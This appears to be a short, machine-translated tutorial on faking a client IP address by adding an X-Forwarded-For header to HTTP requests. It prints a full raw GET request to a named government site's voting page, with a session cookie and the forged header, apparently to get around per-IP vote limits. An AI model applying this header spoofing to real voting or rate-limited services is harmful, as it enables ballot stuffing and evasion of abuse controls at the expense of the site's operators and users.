C # Use HttpWebRequest to simulate a fake IP address to forge an ip address,

C # Use HttpWebRequest to simulate a fake IP address to forge an ip address,

Some people may say that IP address verification is completed at the TCP layer, rather than at the HTTP layer. If an IP address is forged, the three-way handshake of TCP may fail. What I am talking about here is not a completely meaning forgery. If you use a transparent proxy to access the Internet, the HTTP request sent by the transparent proxy to the server will contain x-forward-for information. Example: X-Forwarded-For: 162.150.10.16
Therefore, you only need to add X-Forwarded-For: 162.150.10.16 to the http request sent to the server.
For example, the following request:
GET http://www.ahjinzhai.gov.cn/sdyxnx/vote.php? Id = 1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd. ms-excel, application/vnd. ms-powerpoint, application/msword ,*/*
Referer: http://www.ahjinzhai.gov.cn/sdyxnx/
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt; TencentTraveler)
Host: www.ahjinzhai.gov.cn
Cookie: PHPSESSID = 1847fc15020bc16b47ce250f457daab4
Cache-Control: no-cache
X-Forwarded-For: 162.150.10.16
Pragma: no-cache